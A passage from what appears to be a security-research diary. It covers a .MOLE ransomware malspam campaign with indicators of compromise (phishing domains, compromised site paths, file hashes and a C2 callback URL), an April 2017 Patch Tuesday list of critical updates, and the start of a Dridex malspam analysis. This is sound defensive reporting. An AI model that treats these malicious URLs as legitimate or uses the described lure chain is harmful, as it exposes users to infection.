- uspsrojafav558540.ideliverys.com - GET /qnympenw4
- uspsueyrbti3030420.ideliverys.com - GET /avega046508
- uspsuuougdeb13563307.ideliverys.com - GET /hip44
- uspsuxsazui65.ideliverys.com - GET /zuhjxai826625
- uspsvavy3.ideliverys.com - GET /qlwevgya2715078
- uspsvhxenco218438.ideliverys.com - GET /fgl0067027
- uspsvreid556443.ideliverys.com - GET /acai8521471
- uspsyvponyfu63.ideliverys.com - GET /ysiwc47537447
- uspszoaoohan13382521.ideliverys.com - GET /uzoxy330
Any given moment, each email link led to a 404.html page that redirected to the same fake Office portal URL. The following were Microsoft Office portal pages with links to the ransomware:
- 194.30.251.100 port 80 - digitalecosystems.com - GET /wp-content/plugins/counter/1.htm
- 217.112.180.3 port 80 - network.mrtg.belcenter.net - GET /.simg/counter/1.htm
- 103.16.146.2 port 80 - brutenutrition.net - GET /temp_cms/libs/sysplugins/counter/1.htm
- 207.5.165.140 port 80 - bettermannow.com - GET //wp-content/counter/1.htm
Shown above: Example of a 404.html page leading to a fake Office portal URL.
These fake portal pages all had links for Google Docs URLs that returned the ransomware. The ransomware was disguised as an Office plugin. Those URLs (at least the ones I've seen so far) were all reported to Google.
Shown above: One of the fake Office portal pages with a Google Docs link for the ransomware.
The ransomware
The ransomware samples didn't run properly on my virtual machine (VM). The samples also didn't run properly on free sandbox tools like malwr.com and reverse.it. I finally got an infection using a physical Windows host. The encrypted files were all renamed with .MOLE as a file extension. Decryption instructions were dropped as a text file named INSTRUCTION_FOR_HELPING_FILE_RECOVERY.TXT to the desktop and any directory with encrypted files. Email addresses from the instructions were oceanm@engineer.com and oceanm@india.com.
Shown above: Traffic from the infection filtered in Wireshark.
Shown above: Personal files on my infected host had .MOLE for a file extension.
Shown above: Screen shot of the decryption instructions.
Shown above: Registry entries created for persistence.
There wasn't much on the post-infection traffic. The infected host merely retrieved a public key and provided a file count (for the encrypted files) during the ransomware callback. Characteristics of the ransomware binaries follow.
First example:
- SHA256 hash: e6591a9389c7b82d59949b8c5660e773b86dff1fa3909f780cb8c88bbc85646c
- File name: plugin-office.exe
- File size: 376,832 bytes
Second example:
- SHA256 hash: 5ca18c9f5ec26a30de429accf60fc08b0ef785810db173dd65c981a550010dde
- File name: pluginoffice.exe
- File size: 182,272 bytes
Post-infection callback by the ransomware:
- 212.47.254.187 port 80 - 212.47.254.187 - POST /scripts/superfish/js/supersubs.php
Shown above: Callback traffic from the pcap in Wireshark.
Final words
My final words today are similar to my final words for yesterday's diary on Dridex malspam.
As usual, humans are the weakest link in this type of infection chain. If people are determined to bypass all warnings, and their systems are configured to allow it, they will become infected. Unfortunately, that's too often the case. I don't believe the situation will improve any time soon, so we can expect these types of malspam campaigns to continue.
Emails, malware samples, and pcaps associated with the 2017-04-11 ransomware malspam can be found here.
---
Brad Duncan
brad [at] malware-traffic-analysis.net
1 Comments
April 2017 Microsoft Patch Tuesday
Today on Tuesday 2017-04-11, Microsoft announced its monthly security release (also known as "Patch Tuesday). Reviewing Microsoft's Security Update Guide, it looks like there's 644 updates with 210 of them listed as "Critical" severity.
The highest profile issue from this set of updates invovles CVE-2017-0199. This vulnerablility was actively being exploited through malicious email campaigns sending Microsoft Office RTF documents as early as this past weekend.
Microsoft's April 2017 security release consists of security updates for the following software:
- Internet Explorer
- Microsoft Edge
- Microsoft Windows
- Microsoft Office and Microsoft Office Services and Web Apps
- Visual Studio for Mac
- .NET Framework
- Silverlight
- Adobe Flash Player
A full list of the 210 critical items from 2017-04-11, sorted by Knowledge Base (KB) designator, follows:
(Read: KB article -- Product -- Platform -- Details -- Severity)
- KB3118388 -- Microsoft Outlook 2010 Service Pack 2 (32-bit editions) -- N/A -- CVE-2017-0106 -- Critical
- KB3118388 -- Microsoft Outlook 2010 Service Pack 2 (64-bit editions) -- N/A -- CVE-2017-0106 -- Critical
- KB3127890 -- Microsoft Outlook 2007 Service Pack 3 -- N/A -- CVE-2017-0106 -- Critical
- KB3141529 -- Microsoft Office 2007 Service Pack 3 -- N/A -- CVE-2017-0199 -- Critical
- KB3141538 -- Microsoft Office 2010 Service Pack 2 (32-bit editions) -- N/A -- CVE-2017-0199 -- Critical
- KB3141538 -- Microsoft Office 2010 Service Pack 2 (64-bit editions) -- N/A -- CVE-2017-0199 -- Critical
- KB3172519 -- Microsoft Outlook 2013 Service Pack 1 (32-bit editions) -- N/A -- CVE-2017-0106 -- Critical
- KB3172519 -- Microsoft Outlook 2013 Service Pack 1 (64-bit editions) -- N/A -- CVE-2017-0106 -- Critical
- KB3178664 -- Microsoft Outlook 2016 (32-bit edition) -- N/A -- CVE-2017-0106 -- Critical
- KB3178664 -- Microsoft Outlook 2016 (64-bit edition) -- N/A -- CVE-2017-0106 -- Critical
- KB3178703 -- Microsoft Office 2016 (32-bit edition) -- N/A -- CVE-2017-0199 -- Critical
- KB3178703 -- Microsoft Office 2016 (64-bit edition) -- N/A -- CVE-2017-0199 -- Critical
- KB3178710 -- Microsoft Office 2013 Service Pack 1 (32-bit editions) -- N/A -- CVE-2017-0199 -- Critical
- KB3178710 -- Microsoft Office 2013 Service Pack 1 (64-bit editions) -- N/A -- CVE-2017-0199 -- Critical
- KB3211308 -- Windows Server 2008 for x64-based Systems Service Pack 2 -- N/A -- CVE-2017-0163 -- Critical
- KB3211308 -- Windows Server 2008 for x64-based Systems Service Pack 2 -- N/A -- CVE-2017-0180 -- Critical
- KB3211308 -- Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) -- N/A -- CVE-2017-0163 -- Critical
- KB3211308 -- Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) -- N/A -- CVE-2017-0180 -- Critical
- KB4014661 -- Internet Explorer 9 -- Windows Server 2008 for 32-bit Systems Service Pack 2 -- CVE-2017-0201 -- Critical
- KB4014661 -- Internet Explorer 9 -- Windows Server 2008 for x64-based Systems Service Pack 2 -- CVE-2017-0201 -- Critical
- KB4014661 -- Internet Explorer 9 -- Windows Vista Service Pack 2 -- CVE-2017-0201 -- Critical
- KB4014661 -- Internet Explorer 9 -- Windows Vista x64 Edition Service Pack 2 -- CVE-2017-0201 -- Critical
- KB4014981 -- Microsoft .NET Framework 3.5.1 -- Windows 7 for 32-bit Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 3.5.1 -- Windows 7 for x64-based Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 3.5.1 -- Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 3.5.1 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 3.5.1 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 4.5.2 -- Windows Server 2008 for 32-bit Systems Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 4.5.2 -- Windows Server 2008 for x64-based Systems Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 4.5.2 -- Windows Vista Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 4.5.2 -- Windows Vista x64 Edition Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 4.6.2 -- Windows 7 for 32-bit Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 4.6.2 -- Windows 7 for x64-based Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 4.6.2 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 4.6.2 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 4.6/4.6.1 -- Windows 7 for 32-bit Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 4.6/4.6.1 -- Windows 7 for x64-based Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 4.6/4.6.1 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014981 -- Microsoft .NET Framework 4.6/4.6.1 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4014982 -- Microsoft .NET Framework 3.5 -- Windows Server 2012 -- CVE-2017-0160 -- Critical
- KB4014982 -- Microsoft .NET Framework 3.5 -- Windows Server 2012 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4014982 -- Microsoft .NET Framework 4.5.2 -- Windows Server 2012 -- CVE-2017-0160 -- Critical
- KB4014982 -- Microsoft .NET Framework 4.5.2 -- Windows Server 2012 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4014982 -- Microsoft .NET Framework 4.6.2 -- Windows Server 2012 -- CVE-2017-0160 -- Critical
- KB4014982 -- Microsoft .NET Framework 4.6.2 -- Windows Server 2012 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4014982 -- Microsoft .NET Framework 4.6/4.6.1 -- Windows Server 2012 -- CVE-2017-0160 -- Critical
- KB4014982 -- Microsoft .NET Framework 4.6/4.6.1 -- Windows Server 2012 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 3.5 -- Windows 8.1 for 32-bit systems -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 3.5 -- Windows 8.1 for x64-based systems -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 3.5 -- Windows Server 2012 R2 -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 3.5 -- Windows Server 2012 R2 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.5.2 -- Windows 8.1 for 32-bit systems -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.5.2 -- Windows 8.1 for x64-based systems -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.5.2 -- Windows RT 8.1 -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.5.2 -- Windows Server 2012 R2 -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.5.2 -- Windows Server 2012 R2 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.6.2 -- Windows 8.1 for 32-bit systems -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.6.2 -- Windows 8.1 for x64-based systems -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.6.2 -- Windows RT 8.1 -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.6.2 -- Windows Server 2012 R2 -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.6.2 -- Windows Server 2012 R2 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.6/4.6.1 -- Windows 8.1 for 32-bit systems -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.6/4.6.1 -- Windows 8.1 for x64-based systems -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.6/4.6.1 -- Windows RT 8.1 -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.6/4.6.1 -- Windows Server 2012 R2 -- CVE-2017-0160 -- Critical
- KB4014983 -- Microsoft .NET Framework 4.6/4.6.1 -- Windows Server 2012 R2 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 2.0 Service Pack 2 -- Windows Server 2008 for 32-bit Systems Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 2.0 Service Pack 2 -- Windows Server 2008 for Itanium-Based Systems Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 2.0 Service Pack 2 -- Windows Server 2008 for x64-based Systems Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 2.0 Service Pack 2 -- Windows Vista Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 2.0 Service Pack 2 -- Windows Vista x64 Edition Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 4.5.2 -- Windows 7 for 32-bit Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 4.5.2 -- Windows 7 for x64-based Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 4.5.2 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 4.5.2 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 4.6 -- Windows Server 2008 for 32-bit Systems Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 4.6 -- Windows Server 2008 for x64-based Systems Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 4.6 -- Windows Vista Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4014984 -- Microsoft .NET Framework 4.6 -- Windows Vista x64 Edition Service Pack 2 -- CVE-2017-0160 -- Critical
- KB4015067 -- Windows Server 2008 for 32-bit Systems Service Pack 2 -- N/A -- CVE-2017-0158 -- Critical
- KB4015067 -- Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) -- N/A -- CVE-2017-0158 -- Critical
- KB4015067 -- Windows Server 2008 for Itanium-Based Systems Service Pack 2 -- N/A -- CVE-2017-0158 -- Critical
- KB4015067 -- Windows Server 2008 for x64-based Systems Service Pack 2 -- N/A -- CVE-2017-0158 -- Critical
- KB4015067 -- Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) -- N/A -- CVE-2017-0158 -- Critical
- KB4015067 -- Windows Vista Service Pack 2 -- N/A -- CVE-2017-0158 -- Critical
- KB4015067 -- Windows Vista x64 Edition Service Pack 2 -- N/A -- CVE-2017-0158 -- Critical
- KB4015217 -- Internet Explorer 11 -- Windows 10 Version 1607 for 32-bit Systems -- CVE-2017-0202 -- Critical
- KB4015217 -- Internet Explorer 11 -- Windows 10 Version 1607 for x64-based Systems -- CVE-2017-0202 -- Critical
- KB4015217 -- Internet Explorer 11 -- Windows Server 2016 -- CVE-2017-0202 -- Critical
- KB4015217 -- Microsoft .NET Framework 3.5 -- Windows 10 Version 1607 for 32-bit Systems -- CVE-2017-0160 -- Critical
- KB4015217 -- Microsoft .NET Framework 3.5 -- Windows 10 Version 1607 for x64-based Systems -- CVE-2017-0160 -- Critical
- KB4015217 -- Microsoft .NET Framework 3.5 -- Windows Server 2016 -- CVE-2017-0160 -- Critical
- KB4015217 -- Microsoft .NET Framework 3.5 -- Windows Server 2016 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4015217 -- Microsoft .NET Framework 4.6.2 -- Windows 10 Version 1607 for 32-bit Systems -- CVE-2017-0160 -- Critical
- KB4015217 -- Microsoft .NET Framework 4.6.2 -- Windows 10 Version 1607 for x64-based Systems -- CVE-2017-0160 -- Critical
- KB4015217 -- Microsoft .NET Framework 4.6.2 -- Windows Server 2016 -- CVE-2017-0160 -- Critical
- KB4015217 -- Microsoft .NET Framework 4.6.2 -- Windows Server 2016 (Server Core installation) -- CVE-2017-0160 -- Critical
- KB4015217 -- Microsoft Edge -- Windows 10 Version 1607 for 32-bit Systems -- CVE-2017-0093 -- Critical
- KB4015217 -- Microsoft Edge -- Windows 10 Version 1607 for 32-bit Systems -- CVE-2017-0200 -- Critical
- KB4015217 -- Microsoft Edge -- Windows 10 Version 1607 for 32-bit Systems -- CVE-2017-0205 -- Critical
- KB4015217 -- Microsoft Edge -- Windows 10 Version 1607 for x64-based Systems -- CVE-2017-0093 -- Critical
- KB4015217 -- Microsoft Edge -- Windows 10 Version 1607 for x64-based Systems -- CVE-2017-0200 -- Critical
- KB4015217 -- Microsoft Edge -- Windows 10 Version 1607 for x64-based Systems -- CVE-2017-0205 -- Critical
- KB4015217 -- Windows 10 Version 1607 for 32-bit Systems -- N/A -- CVE-2017-0158 -- Critical
- KB4015217 -- Windows 10 Version 1607 for x64-based Systems -- N/A -- CVE-2017-0158 -- Critical
- KB4015217 -- Windows 10 Version 1607 for x64-based Systems -- N/A -- CVE-2017-0162 -- Critical
- KB4015217 -- Windows 10 Version 1607 for x64-based Systems -- N/A -- CVE-2017-0163 -- Critical
- KB4015217 -- Windows 10 Version 1607 for x64-based Systems -- N/A -- CVE-2017-0180 -- Critical
- KB4015217 -- Windows 10 Version 1607 for x64-based Systems -- N/A -- CVE-2017-0181 -- Critical
- KB4015217 -- Windows Server 2016 -- N/A -- CVE-2017-0158 -- Critical
- KB4015217 -- Windows Server 2016 -- N/A -- CVE-2017-0162 -- Critical
- KB4015217 -- Windows Server 2016 -- N/A -- CVE-2017-0163 -- Critical
- KB4015217 -- Windows Server 2016 -- N/A -- CVE-2017-0180 -- Critical
- KB4015217 -- Windows Server 2016 -- N/A -- CVE-2017-0181 -- Critical
- KB4015217 -- Windows Server 2016 (Server Core installation) -- N/A -- CVE-2017-0158 -- Critical
- KB4015217 -- Windows Server 2016 (Server Core installation) -- N/A -- CVE-2017-0162 -- Critical
- KB4015217 -- Windows Server 2016 (Server Core installation) -- N/A -- CVE-2017-0163 -- Critical
- KB4015217 -- Windows Server 2016 (Server Core installation) -- N/A -- CVE-2017-0180 -- Critical
- KB4015217 -- Windows Server 2016 (Server Core installation) -- N/A -- CVE-2017-0181 -- Critical
- KB4015219 -- Internet Explorer 11 -- Windows 10 Version 1511 for 32-bit Systems -- CVE-2017-0202 -- Critical
- KB4015219 -- Internet Explorer 11 -- Windows 10 Version 1511 for x64-based Systems -- CVE-2017-0202 -- Critical
- KB4015219 -- Microsoft .NET Framework 3.5 -- Windows 10 Version 1511 for 32-bit Systems -- CVE-2017-0160 -- Critical
- KB4015219 -- Microsoft .NET Framework 3.5 -- Windows 10 Version 1511 for x64-based Systems -- CVE-2017-0160 -- Critical
- KB4015219 -- Microsoft .NET Framework 4.6.1 -- Windows 10 Version 1511 for 32-bit Systems -- CVE-2017-0160 -- Critical
- KB4015219 -- Microsoft .NET Framework 4.6.1 -- Windows 10 Version 1511 for x64-based Systems -- CVE-2017-0160 -- Critical
- KB4015219 -- Microsoft Edge -- Windows 10 Version 1511 for 32-bit Systems -- CVE-2017-0093 -- Critical
- KB4015219 -- Microsoft Edge -- Windows 10 Version 1511 for 32-bit Systems -- CVE-2017-0205 -- Critical
- KB4015219 -- Microsoft Edge -- Windows 10 Version 1511 for x64-based Systems -- CVE-2017-0093 -- Critical
- KB4015219 -- Microsoft Edge -- Windows 10 Version 1511 for x64-based Systems -- CVE-2017-0205 -- Critical
- KB4015219 -- Windows 10 Version 1511 for 32-bit Systems -- N/A -- CVE-2017-0158 -- Critical
- KB4015219 -- Windows 10 Version 1511 for x64-based Systems -- N/A -- CVE-2017-0158 -- Critical
- KB4015219 -- Windows 10 Version 1511 for x64-based Systems -- N/A -- CVE-2017-0162 -- Critical
- KB4015219 -- Windows 10 Version 1511 for x64-based Systems -- N/A -- CVE-2017-0163 -- Critical
- KB4015219 -- Windows 10 Version 1511 for x64-based Systems -- N/A -- CVE-2017-0180 -- Critical
- KB4015219 -- Windows 10 Version 1511 for x64-based Systems -- N/A -- CVE-2017-0181 -- Critical
- KB4015221 -- Internet Explorer 11 -- Windows 10 for 32-bit Systems -- CVE-2017-0202 -- Critical
- KB4015221 -- Internet Explorer 11 -- Windows 10 for x64-based Systems -- CVE-2017-0202 -- Critical
- KB4015221 -- Microsoft .NET Framework 3.5 -- Windows 10 for 32-bit Systems -- CVE-2017-0160 -- Critical
- KB4015221 -- Microsoft .NET Framework 3.5 -- Windows 10 for x64-based Systems -- CVE-2017-0160 -- Critical
- KB4015221 -- Microsoft .NET Framework 4.6 -- Windows 10 for 32-bit Systems -- CVE-2017-0160 -- Critical
- KB4015221 -- Microsoft .NET Framework 4.6 -- Windows 10 for x64-based Systems -- CVE-2017-0160 -- Critical
- KB4015221 -- Windows 10 for 32-bit Systems -- N/A -- CVE-2017-0158 -- Critical
- KB4015221 -- Windows 10 for x64-based Systems -- N/A -- CVE-2017-0158 -- Critical
- KB4015221 -- Windows 10 for x64-based Systems -- N/A -- CVE-2017-0162 -- Critical
- KB4015221 -- Windows 10 for x64-based Systems -- N/A -- CVE-2017-0163 -- Critical
- KB4015221 -- Windows 10 for x64-based Systems -- N/A -- CVE-2017-0180 -- Critical
- KB4015221 -- Windows 10 for x64-based Systems -- N/A -- CVE-2017-0181 -- Critical
- KB4015549 -- Windows 7 for 32-bit Systems Service Pack 1 -- N/A -- CVE-2017-0158 -- Critical
- KB4015549 -- Windows 7 for x64-based Systems Service Pack 1 -- N/A -- CVE-2017-0158 -- Critical
- KB4015549 -- Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1 -- N/A -- CVE-2017-0158 -- Critical
- KB4015549 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 -- N/A -- CVE-2017-0158 -- Critical
- KB4015549 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 -- N/A -- CVE-2017-0180 -- Critical
- KB4015549 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) -- N/A -- CVE-2017-0158 -- Critical
- KB4015549 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) -- N/A -- CVE-2017-0163 -- Critical
- KB4015549 -- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) -- N/A -- CVE-2017-0180 -- Critical
- KB4015550 -- Internet Explorer 11 -- Windows 8.1 for 32-bit systems -- CVE-2017-0202 -- Critical
- KB4015550 -- Internet Explorer 11 -- Windows 8.1 for x64-based systems -- CVE-2017-0202 -- Critical
- KB4015550 -- Internet Explorer 11 -- Windows RT 8.1 -- CVE-2017-0202 -- Critical
- KB4015550 -- Internet Explorer 11 -- Windows Server 2012 R2 -- CVE-2017-0202 -- Critical
- KB4015550 -- Windows 8.1 for 32-bit systems -- N/A -- CVE-2017-0158 -- Critical
- KB4015550 -- Windows 8.1 for x64-based systems -- N/A -- CVE-2017-0158 -- Critical
- KB4015550 -- Windows 8.1 for x64-based systems -- N/A -- CVE-2017-0162 -- Critical
- KB4015550 -- Windows 8.1 for x64-based systems -- N/A -- CVE-2017-0163 -- Critical
- KB4015550 -- Windows 8.1 for x64-based systems -- N/A -- CVE-2017-0180 -- Critical
- KB4015550 -- Windows RT 8.1 -- N/A -- CVE-2017-0158 -- Critical
- KB4015550 -- Windows Server 2012 R2 -- N/A -- CVE-2017-0158 -- Critical
- KB4015550 -- Windows Server 2012 R2 -- N/A -- CVE-2017-0162 -- Critical
- KB4015550 -- Windows Server 2012 R2 -- N/A -- CVE-2017-0163 -- Critical
- KB4015550 -- Windows Server 2012 R2 -- N/A -- CVE-2017-0180 -- Critical
- KB4015550 -- Windows Server 2012 R2 (Server Core installation) -- N/A -- CVE-2017-0158 -- Critical
- KB4015550 -- Windows Server 2012 R2 (Server Core installation) -- N/A -- CVE-2017-0162 -- Critical
- KB4015550 -- Windows Server 2012 R2 (Server Core installation) -- N/A -- CVE-2017-0163 -- Critical
- KB4015550 -- Windows Server 2012 R2 (Server Core installation) -- N/A -- CVE-2017-0180 -- Critical
- KB4015551 -- Internet Explorer 10 -- Windows Server 2012 -- CVE-2017-0201 -- Critical
- KB4015551 -- Windows Server 2012 -- N/A -- CVE-2017-0158 -- Critical
- KB4015551 -- Windows Server 2012 -- N/A -- CVE-2017-0163 -- Critical
- KB4015551 -- Windows Server 2012 -- N/A -- CVE-2017-0180 -- Critical
- KB4015551 -- Windows Server 2012 (Server Core installation) -- N/A -- CVE-2017-0158 -- Critical
- KB4015551 -- Windows Server 2012 (Server Core installation) -- N/A -- CVE-2017-0163 -- Critical
- KB4015551 -- Windows Server 2012 (Server Core installation) -- N/A -- CVE-2017-0180 -- Critical
- KB4015583 -- Internet Explorer 11 -- Windows 10 Version 1703 for 32-bit Systems -- CVE-2017-0202 -- Critical
- KB4015583 -- Internet Explorer 11 -- Windows 10 Version 1703 for x64-based Systems -- CVE-2017-0202 -- Critical
- KB4015583 -- Microsoft .NET Framework 3.5 -- Windows 10 Version 1703 for 32-bit Systems -- CVE-2017-0160 -- Critical
- KB4015583 -- Microsoft .NET Framework 3.5 -- Windows 10 Version 1703 for x64-based Systems -- CVE-2017-0160 -- Critical
- KB4015583 -- Microsoft .NET Framework 4.7 -- Windows 10 Version 1703 for 32-bit Systems -- CVE-2017-0160 -- Critical
- KB4015583 -- Microsoft .NET Framework 4.7 -- Windows 10 Version 1703 for x64-based Systems -- CVE-2017-0160 -- Critical
- KB4015583 -- Microsoft Edge -- Windows 10 Version 1703 for 32-bit Systems -- CVE-2017-0093 -- Critical
- KB4015583 -- Microsoft Edge -- Windows 10 Version 1703 for 32-bit Systems -- CVE-2017-0205 -- Critical
- KB4015583 -- Microsoft Edge -- Windows 10 Version 1703 for x64-based Systems -- CVE-2017-0093 -- Critical
- KB4015583 -- Microsoft Edge -- Windows 10 Version 1703 for x64-based Systems -- CVE-2017-0205 -- Critical
- KB4015583 -- Windows 10 Version 1703 for 32-bit Systems -- N/A -- CVE-2017-0158 -- Critical
- KB4015583 -- Windows 10 Version 1703 for x64-based Systems -- N/A -- CVE-2017-0158 -- Critical
- KB4015583 -- Windows 10 Version 1703 for x64-based Systems -- N/A -- CVE-2017-0162 -- Critical
- KB4015583 -- Windows 10 Version 1703 for x64-based Systems -- N/A -- CVE-2017-0163 -- Critical
- KB4015583 -- Windows 10 Version 1703 for x64-based Systems -- N/A -- CVE-2017-0180 -- Critical
- KB4015583 -- Windows 10 Version 1703 for x64-based Systems -- N/A -- CVE-2017-0181 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows 10 for 32-bit Systems -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows 10 for x64-based Systems -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows 10 Version 1511 for 32-bit Systems -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows 10 Version 1511 for x64-based Systems -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows 10 Version 1607 for 32-bit Systems -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows 10 Version 1607 for x64-based Systems -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows 10 Version 1703 for 32-bit Systems -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows 10 Version 1703 for x64-based Systems -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows 8.1 for 32-bit systems -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows 8.1 for x64-based systems -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows RT 8.1 -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows Server 2012 -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows Server 2012 R2 -- 2017-3447 -- Critical
- KB4018483 -- Adobe Flash Player -- Windows Server 2016 -- 2017-3447 -- Critical
9 Comments
Dridex malspam seen on Monday 2017-04-10
Introduction
Malicious spam (malspam) pushing the Dridex banking Trojan disappeared in mid-2016, but it reappeared in January 2017 starting with a small campaign targeting UK financial institutions [1]. Since then, we've seen a handful of reporting about Dridex, but I hadn't noticed the same large-scale distribution like we saw in 2015 and 2016. At least not until recently.
Less than two weeks ago on 2017-03-30, high-volume waves of malspam pushing Dridex reappeared [2]. Because my last in-depth look at Dridex for the ISC was in January 2016 [3], I think it's high time we take a more current look at this malspam.
Thursday 2017-03-30
On Thursday 2017-03-30, we saw Dridex from at least two different waves of malspam [4]. In one wave of emails, attachments were zip archives containing a Visual Basic Script (.vbs) file. In the other wave, attachments were zip archives containing a Windows executable. Both attachments were double-zipped, meaning they contained a zip archive within the zip archive before you got to the malware.
Shown above: Email from a wave of Dridex malspam on 2017-03-30.
Shown above: Attachment from the above email.
Shown above: Extracted .js file designed to download/install Dridex.
Shown above: Email from another wave of Dridex malspam on 2017-03-30.
Shown above: Attachment from the above email.
Shown above: Extracted executable (Dridex).
On Friday 2017-04-07, I saw another wave of Dridex that I didn't have time to document. Attachments were now zip archives containing Word documents. These Word documents had macros designed to download and install Dridex. Like Dridex malspam from the previous week, these archives were double-zipped.
Shown above: Email from a wave of Dridex malspam on 2017-04-07.
Shown above: Attachment from the above email.
Shown above: Extracted Word document with macros designed to download/install Dridex.
Monday 2017-04-10
On Monday 2017-04-10, another wave of Dridex malspam occurred. This wave of malspam tried a new tactic. Attachments from were now PDF files with embedded Word documents. These PDF files required user action to open the Word document. Then the user had to enable macros to infect a Windows computer.
Shown above: Email from a wave of Dridex malspam on 2017-04-07.
Shown above: Opening the PDF file on a Windows host leads to the embedded Word document.
I infected a Windows host by opening one of the PDF files and enabling macros for the embedded Word document. Filtering on the traffic in Wireshark, you'll see the initial HTTP request to download Dridex. Then you'll find three different IP addresses for post-infection SSL/TLS traffic associated with Dridex.
